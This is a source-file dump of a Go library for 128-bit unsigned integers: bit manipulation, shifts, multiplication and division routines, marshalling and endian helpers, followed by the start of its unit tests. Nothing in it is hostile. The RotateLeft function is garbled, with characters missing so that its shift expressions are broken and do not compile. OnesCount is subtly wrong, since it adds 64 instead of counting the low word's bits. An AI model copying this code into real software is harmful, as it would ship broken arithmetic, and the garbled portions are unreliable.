return u 471 | } 472 | 473 | // BitLen returns the length of the absolute value of u in bits. The bit length of 0 is 0. 474 | func (u U128) BitLen() int { 475 | if u.hi > 0 { 476 | return bits.Len64(u.hi) + 64 477 | } 478 | return bits.Len64(u.lo) 479 | } 480 | 481 | // OnesCount returns the number of one bits ("population count") in u. 482 | func (u U128) OnesCount() int { 483 | if u.hi > 0 { 484 | return bits.OnesCount64(u.hi) + 64 485 | } 486 | return bits.OnesCount64(u.lo) 487 | } 488 | 489 | // Bit returns the value of the i'th bit of x. That is, it returns (x>>i)&1. 490 | // The bit index i must be 0 <= i < 128 491 | func (u U128) Bit(i int) uint { 492 | if i < 0 || i >= 128 { 493 | panic("num: bit out of range") 494 | } 495 | if i >= 64 { 496 | return uint((u.hi >> uint(i-64)) & 1) 497 | } else { 498 | return uint((u.lo >> uint(i)) & 1) 499 | } 500 | } 501 | 502 | // SetBit returns a U128 with u's i'th bit set to b (0 or 1). 503 | // If b is not 0 or 1, SetBit will panic. If i < 0, SetBit will panic. 504 | func (u U128) SetBit(i int, b uint) (out U128) { 505 | if i < 0 || i >= 128 { 506 | panic("num: bit out of range") 507 | } 508 | if b == 0 { 509 | if i >= 64 { 510 | u.hi = u.hi &^ (1 << uint(i-64)) 511 | } else { 512 | u.lo = u.lo &^ (1 << uint(i)) 513 | } 514 | } else if b == 1 { 515 | if i >= 64 { 516 | u.hi = u.hi | (1 << uint(i-64)) 517 | } else { 518 | u.lo = u.lo | (1 << uint(i)) 519 | } 520 | } else { 521 | panic("num: bit value not 0 or 1") 522 | } 523 | return u 524 | } 525 | 526 | func (u U128) Lsh(n uint) (v U128) { 527 | if n == 0 { 528 | return u 529 | } else if n > 64 { 530 | v.hi = u.lo << (n - 64) 531 | v.lo = 0 532 | } else if n < 64 { 533 | v.hi = (u.hi << n) | (u.lo >> (64 - n)) 534 | v.lo = u.lo << n 535 | } else if n == 64 { 536 | v.hi = u.lo 537 | v.lo = 0 538 | } 539 | return v 540 | } 541 | 542 | func (u U128) Rsh(n uint) (v U128) { 543 | if n == 0 { 544 | return u 545 | } else if n > 64 { 546 | v.lo = u.hi >> (n - 64) 547 | v.hi = 0 548 | } else if n < 64 { 549 | v.lo = (u.lo >> n) | (u.hi << (64 - n)) 550 | v.hi = u.hi >> n 551 | } else if n == 64 { 552 | v.lo = u.hi 553 | v.hi = 0 554 | } 555 | 556 | return v 557 | } 558 | 559 | func (u U128) Mul(n U128) U128 { 560 | hi, lo := bits.Mul64(u.lo, n.lo) 561 | hi += u.hi*n.lo + u.lo*n.hi 562 | return U128{hi, lo} 563 | } 564 | 565 | func (u U128) Mul64(n uint64) (dest U128) { 566 | dest.hi, dest.lo = bits.Mul64(u.lo, n) 567 | dest.hi += u.hi * n 568 | return dest 569 | } 570 | 571 | // See BenchmarkU128QuoRemTZ for the test that helps determine this magic number: 572 | const divAlgoLeading0Spill = 16 573 | 574 | // Quo returns the quotient x/y for y != 0. If y == 0, a division-by-zero 575 | // run-time panic occurs. Quo implements truncated division (like Go); see 576 | // QuoRem for more details. 577 | func (u U128) Quo(by U128) (q U128) { 578 | if by.lo == 0 && by.hi == 0 { 579 | panic("u128: division by zero") 580 | } 581 | 582 | if u.hi|by.hi == 0 { 583 | q.lo = u.lo / by.lo // FIXME: div/0 risk? 584 | return q 585 | } 586 | 587 | var byLoLeading0, byHiLeading0, byLeading0 uint 588 | if by.hi == 0 { 589 | byLoLeading0, byHiLeading0 = uint(bits.LeadingZeros64(by.lo)), 64 590 | byLeading0 = byLoLeading0 + 64 591 | } else { 592 | byHiLeading0 = uint(bits.LeadingZeros64(by.hi)) 593 | byLeading0 = byHiLeading0 594 | } 595 | 596 | if byLeading0 == 127 { 597 | return u 598 | } 599 | 600 | byTrailing0 := by.TrailingZeros() 601 | if (byLeading0 + byTrailing0) == 127 { 602 | return u.Rsh(byTrailing0) 603 | } 604 | 605 | if cmp := u.Cmp(by); cmp < 0 { 606 | return q // it's 100% remainder 607 | } else if cmp == 0 { 608 | q.lo = 1 // dividend and divisor are the same 609 | return q 610 | } 611 | 612 | uLeading0 := u.LeadingZeros() 613 | if byLeading0-uLeading0 > divAlgoLeading0Spill { 614 | q, _ = quorem128by128(u, by, byHiLeading0, byLoLeading0) 615 | return q 616 | } else { 617 | return quo128bin(u, by, uLeading0, byLeading0) 618 | } 619 | } 620 | 621 | func (u U128) Quo64(by uint64) (q U128) { 622 | if u.hi < by { 623 | q.lo, _ = bits.Div64(u.hi, u.lo, by) 624 | } else { 625 | q.hi = u.hi / by 626 | q.lo, _ = bits.Div64(u.hi%by, u.lo, by) 627 | } 628 | return q 629 | } 630 | 631 | // QuoRem returns the quotient q and remainder r for y != 0. If y == 0, a 632 | // division-by-zero run-time panic occurs. 633 | // 634 | // QuoRem implements T-division and modulus (like Go): 635 | // 636 | // q = x/y with the result truncated to zero 637 | // r = x - y*q 638 | // 639 | // U128 does not support big.Int.DivMod()-style Euclidean division. 640 | // 641 | func (u U128) QuoRem(by U128) (q, r U128) { 642 | if by.lo == 0 && by.hi == 0 { 643 | panic("u128: division by zero") 644 | } 645 | 646 | if u.hi|by.hi == 0 { 647 | // protected from div/0 because by.lo is guaranteed to be set if by.hi is 0: 648 | q.lo = u.lo / by.lo 649 | r.lo = u.lo % by.lo 650 | return q, r 651 | } 652 | 653 | var byLoLeading0, byHiLeading0, byLeading0 uint 654 | if by.hi == 0 { 655 | byLoLeading0, byHiLeading0 = uint(bits.LeadingZeros64(by.lo)), 64 656 | byLeading0 = byLoLeading0 + 64 657 | } else { 658 | byHiLeading0 = uint(bits.LeadingZeros64(by.hi)) 659 | byLeading0 = byHiLeading0 660 | } 661 | 662 | if byLeading0 == 127 { 663 | return u, r 664 | } 665 | 666 | byTrailing0 := by.TrailingZeros() 667 | if (byLeading0 + byTrailing0) == 127 { 668 | q = u.Rsh(byTrailing0) 669 | by = by.Dec() 670 | r = by.And(u) 671 | return 672 | } 673 | 674 | if cmp := u.Cmp(by); cmp < 0 { 675 | return q, u // it's 100% remainder 676 | 677 | } else if cmp == 0 { 678 | q.lo = 1 // dividend and divisor are the same 679 | return q, r 680 | } 681 | 682 | uLeading0 := u.LeadingZeros() 683 | if byLeading0-uLeading0 > divAlgoLeading0Spill { 684 | return quorem128by128(u, by, byHiLeading0, byLoLeading0) 685 | } else { 686 | return quorem128bin(u, by, uLeading0, byLeading0) 687 | } 688 | } 689 | 690 | func (u U128) QuoRem64(by uint64) (q, r U128) { 691 | if u.hi < by { 692 | q.lo, r.lo = bits.Div64(u.hi, u.lo, by) 693 | } else { 694 | q.hi, r.lo = bits.Div64(0, u.hi, by) 695 | q.lo, r.lo = bits.Div64(r.lo, u.lo, by) 696 | } 697 | return q, r 698 | } 699 | 700 | // Rem returns the remainder of x%y for y != 0. If y == 0, a division-by-zero 701 | // run-time panic occurs. Rem implements truncated modulus (like Go); see 702 | // QuoRem for more details. 703 | func (u U128) Rem(by U128) (r U128) { 704 | // FIXME: inline only the needed bits 705 | _, r = u.QuoRem(by) 706 | return r 707 | } 708 | 709 | func (u U128) Rem64(by uint64) (r U128) { 710 | // XXX: bits.Rem64 (added in 1.14) shows no noticeable improvement on my 8th-gen i7 711 | // (though it sounds like it isn't necessarily meant to): 712 | // https://github.com/golang/go/issues/28970 713 | // if u.hi < by { 714 | // _, r.lo = bits.Rem64(u.hi, u.lo, by) 715 | // } else { 716 | // _, r.lo = bits.Rem64(bits.Rem64(0, u.hi, by), u.lo, by) 717 | // } 718 | 719 | if u.hi < by { 720 | _, r.lo = bits.Div64(u.hi, u.lo, by) 721 | } else { 722 | _, r.lo = bits.Div64(0, u.hi, by) 723 | _, r.lo = bits.Div64(r.lo, u.lo, by) 724 | } 725 | return r 726 | } 727 | 728 | func (u U128) Reverse() U128 { 729 | return U128{hi: bits.Reverse64(u.lo), lo: bits.Reverse64(u.hi)} 730 | } 731 | 732 | func (u U128) ReverseBytes() U128 { 733 | return U128{hi: bits.ReverseBytes64(u.lo), lo: bits.ReverseBytes64(u.hi)} 734 | } 735 | 736 | // To rotate u right by k bits, call u.RotateLeft(-k). 737 | func (u U128) RotateLeft(k int) U128 { 738 | s := uint(k) & (127) 739 | if s > 64 { 740 | s = 128 - s 741 | l := 64 - s 742 | return U128{ 743 | hi: u.hi>>s | u.lo<>s | u.hi<>l, 750 | lo: u.lo<>l, 751 | } 752 | } 753 | } 754 | 755 | func (u U128) LeadingZeros() uint { 756 | if u.hi == 0 { 757 | return uint(bits.LeadingZeros64(u.lo)) + 64 758 | } else { 759 | return uint(bits.LeadingZeros64(u.hi)) 760 | } 761 | } 762 | 763 | func (u U128) TrailingZeros() uint { 764 | if u.lo == 0 { 765 | return uint(bits.TrailingZeros64(u.hi)) + 64 766 | } else { 767 | return uint(bits.TrailingZeros64(u.lo)) 768 | } 769 | } 770 | 771 | // Hacker's delight 9-4, divlu: 772 | func quo128by64(u1, u0, v uint64, vLeading0 uint) (q uint64) { 773 | var b uint64 = 1 << 32 774 | var un1, un0, vn1, vn0, q1, q0, un32, un21, un10, rhat, vs, left, right uint64 775 | 776 | vs = v << vLeading0 777 | 778 | vn1 = vs >> 32 779 | vn0 = vs & 0xffffffff 780 | 781 | if vLeading0 > 0 { 782 | un32 = (u1 << vLeading0) | (u0 >> (64 - vLeading0)) 783 | un10 = u0 << vLeading0 784 | } else { 785 | un32 = u1 786 | un10 = u0 787 | } 788 | 789 | un1 = un10 >> 32 790 | un0 = un10 & 0xffffffff 791 | 792 | q1 = un32 / vn1 793 | rhat = un32 % vn1 794 | 795 | left = q1 * vn0 796 | right = (rhat << 32) | un1 797 | 798 | again1: 799 | if (q1 >= b) || (left > right) { 800 | q1-- 801 | rhat += vn1 802 | if rhat < b { 803 | left -= vn0 804 | right = (rhat << 32) | un1 805 | goto again1 806 | } 807 | } 808 | 809 | un21 = (un32 << 32) + (un1 - (q1 * vs)) 810 | 811 | q0 = un21 / vn1 812 | rhat = un21 % vn1 813 | 814 | left = q0 * vn0 815 | right = (rhat << 32) | un0 816 | 817 | again2: 818 | if (q0 >= b) || (left > right) { 819 | q0-- 820 | rhat += vn1 821 | if rhat < b { 822 | left -= vn0 823 | right = (rhat << 32) | un0 824 | goto again2 825 | } 826 | } 827 | 828 | return (q1 << 32) | q0 829 | } 830 | 831 | // Hacker's delight 9-4, divlu: 832 | func quorem128by64(u1, u0, v uint64, vLeading0 uint) (q, r uint64) { 833 | var b uint64 = 1 << 32 834 | var un1, un0, vn1, vn0, q1, q0, un32, un21, un10, rhat, left, right uint64 835 | 836 | v <<= vLeading0 837 | 838 | vn1 = v >> 32 839 | vn0 = v & 0xffffffff 840 | 841 | if vLeading0 > 0 { 842 | un32 = (u1 << vLeading0) | (u0 >> (64 - vLeading0)) 843 | un10 = u0 << vLeading0 844 | } else { 845 | un32 = u1 846 | un10 = u0 847 | } 848 | 849 | un1 = un10 >> 32 850 | un0 = un10 & 0xffffffff 851 | 852 | q1 = un32 / vn1 853 | rhat = un32 % vn1 854 | 855 | left = q1 * vn0 856 | right = (rhat << 32) + un1 857 | 858 | again1: 859 | if (q1 >= b) || (left > right) { 860 | q1-- 861 | rhat += vn1 862 | if rhat < b { 863 | left -= vn0 864 | right = (rhat << 32) | un1 865 | goto again1 866 | } 867 | } 868 | 869 | un21 = (un32 << 32) + (un1 - (q1 * v)) 870 | 871 | q0 = un21 / vn1 872 | rhat = un21 % vn1 873 | 874 | left = q0 * vn0 875 | right = (rhat << 32) | un0 876 | 877 | again2: 878 | if (q0 >= b) || (left > right) { 879 | q0-- 880 | rhat += vn1 881 | if rhat < b { 882 | left -= vn0 883 | right = (rhat << 32) | un0 884 | goto again2 885 | } 886 | } 887 | 888 | return (q1 << 32) | q0, ((un21 << 32) + (un0 - (q0 * v))) >> vLeading0 889 | } 890 | 891 | func quorem128by128(m, v U128, vHiLeading0, vLoLeading0 uint) (q, r U128) { 892 | if v.hi == 0 { 893 | if m.hi < v.lo { 894 | q.lo, r.lo = quorem128by64(m.hi, m.lo, v.lo, vLoLeading0) 895 | return q, r 896 | 897 | } else { 898 | q.hi = m.hi / v.lo 899 | r.hi = m.hi % v.lo 900 | q.lo, r.lo = quorem128by64(r.hi, m.lo, v.lo, vLoLeading0) 901 | r.hi = 0 902 | return q, r 903 | } 904 | 905 | } else { 906 | v1 := v.Lsh(vHiLeading0) 907 | u1 := m.Rsh(1) 908 | 909 | var q1 U128 910 | q1.lo = quo128by64(u1.hi, u1.lo, v1.hi, vLoLeading0) 911 | q1 = q1.Rsh(63 - vHiLeading0) 912 | 913 | if q1.hi|q1.lo != 0 { 914 | q1 = q1.Dec() 915 | } 916 | q = q1 917 | q1 = q1.Mul(v) 918 | r = m.Sub(q1) 919 | 920 | if r.Cmp(v) >= 0 { 921 | q = q.Inc() 922 | r = r.Sub(v) 923 | } 924 | 925 | return q, r 926 | } 927 | } 928 | 929 | func quorem128bin(u, by U128, uLeading0, byLeading0 uint) (q, r U128) { 930 | shift := int(byLeading0 - uLeading0) 931 | by = by.Lsh(uint(shift)) 932 | 933 | for { 934 | // q << 1 935 | q.hi = (q.hi << 1) | (q.lo >> 63) 936 | q.lo = q.lo << 1 937 | 938 | // performance tweak: simulate greater than or equal by hand-inlining "not less than". 939 | if u.hi > by.hi || (u.hi == by.hi && u.lo >= by.lo) { 940 | u = u.Sub(by) 941 | q.lo |= 1 942 | } 943 | 944 | // by >> 1 945 | by.lo = (by.lo >> 1) | (by.hi << 63) 946 | by.hi = by.hi >> 1 947 | 948 | if shift <= 0 { 949 | break 950 | } 951 | shift-- 952 | } 953 | 954 | r = u 955 | return q, r 956 | } 957 | 958 | func quo128bin(u, by U128, uLeading0, byLeading0 uint) (q U128) { 959 | shift := int(byLeading0 - uLeading0) 960 | by = by.Lsh(uint(shift)) 961 | 962 | for { 963 | // q << 1 964 | q.hi = (q.hi << 1) | (q.lo >> 63) 965 | q.lo = q.lo << 1 966 | 967 | // u >= by 968 | if u.hi > by.hi || (u.hi == by.hi && u.lo >= by.lo) { 969 | u = u.Sub(by) 970 | q.lo |= 1 971 | } 972 | 973 | // q >> 1 974 | by.lo = (by.lo >> 1) | (by.hi << 63) 975 | by.hi = by.hi >> 1 976 | 977 | if shift <= 0 { 978 | break 979 | } 980 | shift-- 981 | } 982 | 983 | return q 984 | } 985 | 986 | func (u U128) MarshalText() ([]byte, error) { 987 | return []byte(u.String()), nil 988 | } 989 | 990 | func (u *U128) UnmarshalText(bts []byte) (err error) { 991 | v, _, err := U128FromString(string(bts)) 992 | if err != nil { 993 | return err 994 | } 995 | *u = v 996 | return nil 997 | } 998 | 999 | func (u U128) MarshalJSON() ([]byte, error) { 1000 | return []byte(`"` + u.String() + `"`), nil 1001 | } 1002 | 1003 | func (u *U128) UnmarshalJSON(bts []byte) (err error) { 1004 | if bts[0] == '"' { 1005 | ln := len(bts) 1006 | if bts[ln-1] != '"' { 1007 | return fmt.Errorf("num: u128 invalid JSON %q", string(bts)) 1008 | } 1009 | bts = bts[1 : ln-1] 1010 | } 1011 | 1012 | v, _, err := U128FromString(string(bts)) 1013 | if err != nil { 1014 | return err 1015 | } 1016 | *u = v 1017 | return nil 1018 | } 1019 | 1020 | // Put big-endian encoded bytes representing this U128 into byte slice b. 1021 | // len(b) must be >= 16. 1022 | func (u U128) PutBigEndian(b []byte) { 1023 | _ = b[15] // BCE 1024 | b[0], b[1], b[2], b[3], b[4], b[5], b[6], b[7] = byte(u.hi>>56), byte(u.hi>>48), byte(u.hi>>40), byte(u.hi>>32), byte(u.hi>>24), byte(u.hi>>16), byte(u.hi>>8), byte(u.hi) 1025 | b[8], b[9], b[10], b[11], b[12], b[13], b[14], b[15] = byte(u.lo>>56), byte(u.lo>>48), byte(u.lo>>40), byte(u.lo>>32), byte(u.lo>>24), byte(u.lo>>16), byte(u.lo>>8), byte(u.lo) 1026 | } 1027 | 1028 | // Decode 16 bytes as a big-endian U128. Panics if len(b) < 16. 1029 | func MustU128FromBigEndian(b []byte) U128 { 1030 | _ = b[15] // BCE 1031 | return U128{ 1032 | lo: uint64(b[15]) | uint64(b[14])<<8 | uint64(b[13])<<16 | uint64(b[12])<<24 | 1033 | uint64(b[11])<<32 | uint64(b[10])<<40 | uint64(b[9])<<48 | uint64(b[8])<<56, 1034 | hi: uint64(b[7]) | uint64(b[6])<<8 | uint64(b[5])<<16 | uint64(b[4])<<24 | 1035 | uint64(b[3])<<32 | uint64(b[2])<<40 | uint64(b[1])<<48 | uint64(b[0])<<56, 1036 | } 1037 | } 1038 | 1039 | // Put little-endian encoded bytes representing this U128 into byte slice b. 1040 | // len(b) must be >= 16. 1041 | func (u U128) PutLittleEndian(b []byte) { 1042 | _ = b[15] // BCE 1043 | b[0], b[1], b[2], b[3], b[4], b[5], b[6], b[7] = byte(u.lo), byte(u.lo>>8), byte(u.lo>>16), byte(u.lo>>24), byte(u.lo>>32), byte(u.lo>>40), byte(u.lo>>48), byte(u.lo>>56) 1044 | b[8], b[9], b[10], b[11], b[12], b[13], b[14], b[15] = byte(u.hi), byte(u.hi>>8), byte(u.hi>>16), byte(u.hi>>24), byte(u.hi>>32), byte(u.hi>>40), byte(u.hi>>48), byte(u.hi>>56) 1045 | } 1046 | 1047 | // Decode 16 bytes as a little-endian U128. Panics if len(b) < 16. 1048 | func MustU128FromLittleEndian(b []byte) U128 { 1049 | _ = b[15] // BCE 1050 | return U128{ 1051 | lo: uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | 1052 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56, 1053 | hi: uint64(b[8]) | uint64(b[9])<<8 | uint64(b[10])<<16 | uint64(b[11])<<24 | 1054 | uint64(b[12])<<32 | uint64(b[13])<<40 | uint64(b[14])<<48 | uint64(b[15])<<56, 1055 | } 1056 | } 1057 | -------------------------------------------------------------------------------- /u128_test.go: -------------------------------------------------------------------------------- 1 | package num 2 | 3 | import ( 4 | "encoding/binary" 5 | "encoding/json" 6 | "fmt" 7 | "math" 8 | "math/big" 9 | "math/rand" 10 | "strings" 11 | "testing" 12 | 13 | "github.com/lightcapitu/go-num/internal/assert" 14 | ) 15 | 16 | var u64 = U128From64 17 | 18 | func bigU64(u uint64) *big.Int { return new(big.Int).SetUint64(u) } 19 | 20 | func u128s(s string) U128 { 21 | s = strings.Replace(s, " ", "", -1) 22 | b, ok := new(big.Int).SetString(s, 0) 23 | if !ok { 24 | panic(fmt.Errorf("num: u128 string %q invalid", s)) 25 | } 26 | out, acc := U128FromBigInt(b) 27 | if !acc { 28 | panic(fmt.Errorf("num: inaccurate u128 %s", s)) 29 | } 30 | return out 31 | } 32 | 33 | func randU128(scratch []byte) U128 { 34 | rand.Read(scratch) 35 | u := U128{} 36 | u.lo = binary.LittleEndian.Uint64(scratch) 37 | 38 | if scratch[0]%2 == 1 { 39 | // if we always generate hi bits, the universe will die before we 40 | // test a number < maxInt64 41 | u.hi = binary.LittleEndian.Uint64(scratch[8:]) 42 | } 43 | return u 44 | } 45 | 46 | func TestLargerSmallerU128(t *testing.T) { 47 | for idx, tc := range []struct { 48 | a, b U128 49 | firstLarger bool 50 | }{ 51 | {u64(0), u64(1), false}, 52 | {MaxU128, u64(1), true}, 53 | {u64(1), u64(1), false}, 54 | {u64(2), u64(1), true}, 55 | {u128s("0xFFFFFFFF FFFFFFFF"), u128s("0x1 00000000 00000000"), false}, 56 | {u128s("0x1 00000000 00000000"), u128s("0xFFFFFFFF FFFFFFFF"), true}, 57 | } { 58 | t.Run(fmt.Sprintf("%d", idx), func(t *testing.T) { 59 | tt := assert.WrapTB(t) 60 | if tc.firstLarger { 61 | tt.MustEqual(tc.a, LargerU128(tc.a, tc.b)) 62 | tt.MustEqual(tc.b, SmallerU128(tc.a, tc.b)) 63 | } else { 64 | tt.MustEqual(tc.b, LargerU128(tc.a, tc.b)) 65 | tt.MustEqual(tc.a, SmallerU128(tc.a, tc.b)) 66 | } 67 | }) 68 | } 69 | } 70 | 71 | func TestMustU128FromI64(t *testing.T) { 72 | tt := assert.WrapTB(t) 73 | assert := func(ok bool, expected U128, v int64) { 74 | tt.Helper() 75 | defer func() { 76 | tt.Helper() 77 | tt.MustAssert((recover() == nil) == ok) 78 | }() 79 | tt.MustEqual(expected, MustU128FromI64(v)) 80 | } 81 | 82 | assert(true, u128s("1234"), 1234) 83 | assert(false, u64(0), -1234) 84 | } 85 | 86 | func TestMustU128FromString(t *testing.T) { 87 | tt := assert.WrapTB(t) 88 | assert := func(ok bool, expected U128, s string) { 89 | tt.Helper() 90 | defer func() { 91 | tt.Helper() 92 | tt.MustAssert((recover() == nil) == ok) 93 | }() 94 | tt.MustEqual(expected, MustU128FromString(s)) 95 | } 96 | 97 | assert(true, u128s("1234"), "1234") 98 | assert(false, u64(0), "quack") 99 | assert(false, u64(0), "120481092481092840918209481092380192830912830918230918") 100 | } 101 | 102 | func TestU128Add(t *testing.T) { 103 | for _, tc := range []struct { 104 | a, b, c U128 105 | }{ 106 | {u64(1), u64(2), u64(3)}, 107 | {u64(10), u64(3), u64(13)}, 108 | {MaxU128, u64(1), u64(0)}, // Overflow wraps 109 | {u64(maxUint64), u64(1), u128s("18446744073709551616")}, // lo carries to hi 110 | {u128s("18446744073709551615"), u128s("18446744073709551615"), u128s("36893488147419103230")}, 111 | } { 112 | t.Run(fmt.Sprintf("%s+%s=%s", tc.a, tc.b, tc.c), func(t *testing.T) { 113 | tt := assert.WrapTB(t) 114 | tt.MustAssert(tc.c.Equal(tc.a.Add(tc.b))) 115 | }) 116 | } 117 | } 118 | 119 | func TestU128Add64(t *testing.T) { 120 | for _, tc := range []struct { 121 | a U128 122 | b uint64 123 | c U128 124 | }{ 125 | {u64(1), 2, u64(3)}, 126 | {u64(10), 3, u64(13)}, 127 | {MaxU128, 1, u64(0)}, // Overflow wraps 128 | } { 129 | t.Run(fmt.Sprintf("%s+%d=%s", tc.a, tc.b, tc.c), func(t *testing.T) { 130 | tt := assert.WrapTB(t) 131 | tt.MustAssert(tc.c.Equal(tc.a.Add64(tc.b))) 132 | }) 133 | } 134 | } 135 | 136 | func TestU128AsBigInt(t *testing.T) { 137 | for idx, tc := range []struct { 138 | a U128 139 | b *big.Int 140 | }{ 141 | {U128{0, 2}, bigU64(2)}, 142 | {U128{0xFFFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFE}, bigs("0xFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFE")}, 143 | {U128{0x1, 0x0}, bigs("18446744073709551616")}, 144 | {U128{0x1, 0xFFFFFFFFFFFFFFFF}, bigs("36893488147419103231")}, // (1<<65) - 1 145 | {U128{0x1, 0x8AC7230489E7FFFF}, bigs("28446744073709551615")}, 146 | {U128{0x7FFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFF}, bigs("170141183460469231731687303715884105727")}, 147 | {U128{0xFFFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFF}, bigs("0x FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF")}, 148 | {U128{0x8000000000000000, 0}, bigs("0x 8000000000000000 0000000000000000")}, 149 | } { 150 | t.Run(fmt.Sprintf("%d/%d,%d=%s", idx, tc.a.hi, tc.a.lo, tc.b), func(t *testing.T) { 151 | tt := assert.WrapTB(t) 152 | v := tc.a.AsBigInt() 153 | tt.MustAssert(tc.b.Cmp(v) == 0, "found: %s", v) 154 | }) 155 | } 156 | } 157 | 158 | func TestU128AsFloat64Random(t *testing.T) { 159 | tt := assert.WrapTB(t) 160 | 161 | bts := make([]byte, 16) 162 | 163 | for i := 0; i < 10000; i++ { 164 | rand.Read(bts) 165 | 166 | num := U128{} 167 | num.lo = binary.LittleEndian.Uint64(bts) 168 | num.hi = binary.LittleEndian.Uint64(bts[8:]) 169 | 170 | af := num.AsFloat64() 171 | bf := new(big.Float).SetFloat64(af) 172 | rf := num.AsBigFloat() 173 | 174 | diff := new(big.Float).Sub(rf, bf) 175 | pct := new(big.Float).Quo(diff, rf) 176 | tt.MustAssert(pct.Cmp(floatDiffLimit) < 0, "%s: %.20f > %.20f", num, diff, floatDiffLimit) 177 | } 178 | } 179 | 180 | func TestU128AsFloat64Direct(t *testing.T) { 181 | for _, tc := range []struct { 182 | a U128 183 | out string 184 | }{ 185 | {u128s("2384067163226812360730"), "2384067163226812448768"}, 186 | } { 187 | t.Run(fmt.Sprintf("float64(%s)=%s", tc.a, tc.out), func(t *testing.T) { 188 | tt := assert.WrapTB(t) 189 | tt.MustEqual(tc.out, cleanFloatStr(fmt.Sprintf("%f", tc.a.AsFloat64()))) 190 | }) 191 | } 192 | } 193 | 194 | func TestU128AsFloat64Epsilon(t *testing.T) { 195 | for _, tc := range []struct { 196 | a U128 197 | }{ 198 | {u128s("120")}, 199 | {u128s("12034267329883109062163657840918528")}, 200 | {MaxU128}, 201 | } { 202 | t.Run(fmt.Sprintf("float64(%s)", tc.a), func(t *testing.T) { 203 | tt := assert.WrapTB(t) 204 | 205 | af := tc.a.AsFloat64() 206 | bf := new(big.Float).SetFloat64(af) 207 | rf := tc.a.AsBigFloat() 208 | 209 | diff := new(big.Float).Sub(rf, bf) 210 | pct := new(big.Float).Quo(diff, rf) 211 | tt.MustAssert(pct.Cmp(floatDiffLimit) < 0, "%s: %.20f > %.20f", tc.a, diff, floatDiffLimit) 212 | }) 213 | } 214 | } 215 | 216 | func TestU128Dec(t *testing.T) { 217 | for _, tc := range []struct { 218 | a, b U128 219 | }{ 220 | {u64(1), u64(0)}, 221 | {u64(10), u64(9)}, 222 | {u64(maxUint64), u128s("18446744073709551614")}, 223 | {u64(0), MaxU128}, 224 | {u64(maxUint64).Add(u64(1)), u64(maxUint64)}, 225 | } { 226 | t.Run(fmt.Sprintf("%s-1=%s", tc.a, tc.b), func(t *testing.T) { 227 | tt := assert.WrapTB(t) 228 | dec := tc.a.Dec() 229 | tt.MustAssert(tc.b.Equal(dec), "%s - 1 != %s, found %s", tc.a, tc.b, dec) 230 | }) 231 | } 232 | } 233 | 234 | func TestU128Format(t *testing.T) { 235 | for idx, tc := range []struct { 236 | v U128 237 | fmt string 238 | out string 239 | }{ 240 | {u64(1), "%d", "1"}, 241 | {u64(1), "%s", "1"}, 242 | {u64(1), "%v", "1"}, 243 | {MaxU128, "%d", "340282366920938463463374607431768211455"}, 244 | {MaxU128, "%#d", "340282366920938463463374607431768211455"}, 245 | {MaxU128, "%o", "3777777777777777777777777777777777777777777"}, 246 | {MaxU128, "%b", strings.Repeat("1", 128)}, 247 | {MaxU128, "%#o", "03777777777777777777777777777777777777777777"}, 248 | {MaxU128, "%#x", "0xffffffffffffffffffffffffffffffff"}, 249 | {MaxU128, "%#X", "0XFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"}, 250 | 251 | // No idea why big.Int doesn't support this: 252 | // {MaxU128, "%#b", "0b" + strings.Repeat("1", 128)}, 253 | } { 254 | t.Run(fmt.Sprintf("%d/%s/%s", idx, tc.fmt, tc.v), func(t *testing.T) { 255 | tt := assert.WrapTB(t) 256 | result := fmt.Sprintf(tc.fmt, tc.v) 257 | tt.MustEqual(tc.out, result) 258 | }) 259 | } 260 | } 261 | 262 | func TestU128FromBigInt(t *testing.T) { 263 | for idx, tc := range []struct { 264 | a *big.Int 265 | b U128 266 | acc bool 267 | }{ 268 | {bigU64(2), u64(2), true}, 269 | {bigs("18446744073709551616"), U128{hi: 0x1, lo: 0x0}, true}, // 1 << 64 270 | {bigs("36893488147419103231"), U128{hi: 0x1, lo: 0xFFFFFFFFFFFFFFFF}, true}, // (1<<65) - 1 271 | {bigs("28446744073709551615"), u128s("28446744073709551615"), true}, 272 | {bigs("170141183460469231731687303715884105727"), u128s("170141183460469231731687303715884105727"), true}, 273 | {bigs("0x FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF"), U128{0xFFFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFF}, true}, 274 | {bigs("0x 1 0000000000000000 00000000000000000"), MaxU128, false}, 275 | {bigs("0x FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFF"), MaxU128, false}, 276 | } { 277 | t.Run(fmt.Sprintf("%d/%s=%d,%d", idx, tc.a, tc.b.lo, tc.b.hi), func(t *testing.T) { 278 | tt := assert.WrapTB(t) 279 | v, acc := U128FromBigInt(tc.a) 280 | tt.MustEqual(acc, tc.acc) 281 | tt.MustAssert(tc.b.Cmp(v) == 0, "found: (%d, %d), expected (%d, %d)", v.hi, v.lo, tc.b.hi, tc.b.lo) 282 | }) 283 | } 284 | } 285 | 286 | func TestU128FromFloat64Random(t *testing.T) { 287 | tt := assert.WrapTB(t) 288 | 289 | bts := make([]byte, 16) 290 | 291 | for i := 0; i < 10000; i++ { 292 | rand.Read(bts) 293 | 294 | num := U128{} 295 | num.lo = binary.LittleEndian.Uint64(bts) 296 | num.hi = binary.LittleEndian.Uint64(bts[8:]) 297 | rbf := num.AsBigFloat() 298 | 299 | rf, _ := rbf.Float64() 300 | rn, inRange := U128FromFloat64(rf) 301 | tt.MustAssert(inRange) 302 | 303 | diff := DifferenceU128(num, rn) 304 | 305 | ibig, diffBig := num.AsBigFloat(), diff.AsBigFloat() 306 | pct := new(big.Float).Quo(diffBig, ibig) 307 | tt.MustAssert(pct.Cmp(floatDiffLimit) < 0, "%s: %.20f > %.20f", num, pct, floatDiffLimit) 308 | } 309 | } 310 | 311 | func TestU128FromFloat64(t *testing.T) { 312 | for idx, tc := range []struct { 313 | f float64 314 | out U128 315 | inRange bool 316 | }{ 317 | {math.NaN(), u128s("0"), false}, 318 | {math.Inf(0), MaxU128, false}, 319 | {math.Inf(-1), u128s("0"), false}, 320 